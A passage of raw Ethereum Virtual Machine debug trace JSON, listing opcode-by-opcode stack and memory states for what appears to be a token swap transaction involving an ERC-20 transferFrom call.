4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12106,"op":"PUSH2","gas":78803,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12109,"op":"JUMPI","gas":78800,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x0","0x2f55"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12110,"op":"DUP3","gas":78790,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12111,"op":"PUSH1","gas":78787,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12113,"op":"PUSH2","gas":78784,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12116,"op":"JUMP","gas":78781,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x136dbf40ac09b","0x0","0x2f59"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12121,"op":"JUMPDEST","gas":78773,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12122,"op":"SWAP2","gas":78772,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12123,"op":"POP","gas":78769,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12124,"op":"SWAP2","gas":78767,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12125,"op":"POP","gas":78764,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12126,"op":"PUSH1","gas":78762,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12128,"op":"PUSH1","gas":78759,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000